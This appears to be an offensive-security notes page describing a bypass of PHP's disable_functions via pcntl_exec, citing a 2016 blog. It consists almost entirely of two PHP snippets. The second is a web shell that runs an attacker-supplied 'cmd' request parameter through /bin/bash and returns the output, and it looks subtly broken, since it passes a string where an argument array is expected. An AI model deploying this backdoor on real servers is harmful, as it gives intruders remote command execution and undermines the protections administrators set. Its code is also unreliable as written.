31 lines
653 B
Markdown
31 lines
653 B
Markdown
# disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec
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## PHP 4 >= 4.2.0, PHP 5 pcntl\_exec
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From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
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```php
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<?php
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$dir = '/var/tmp/';
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$cmd = 'ls';
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$option = '-l';
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$pathtobin = '/bin/bash';
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$arg = array($cmd, $option, $dir);
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pcntl_exec($pathtobin, $arg);
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echo '123';
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?>
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<?php
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$cmd = @$_REQUEST[cmd];
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if(function_exists('pcntl_exec')) {
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$cmd = $cmd."&pkill -9 bash >out";
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pcntl_exec("/bin/bash", $cmd);
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echo file_get_contents("out");
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} else {
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echo '不支持pcntl扩展';
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}
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?>
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```
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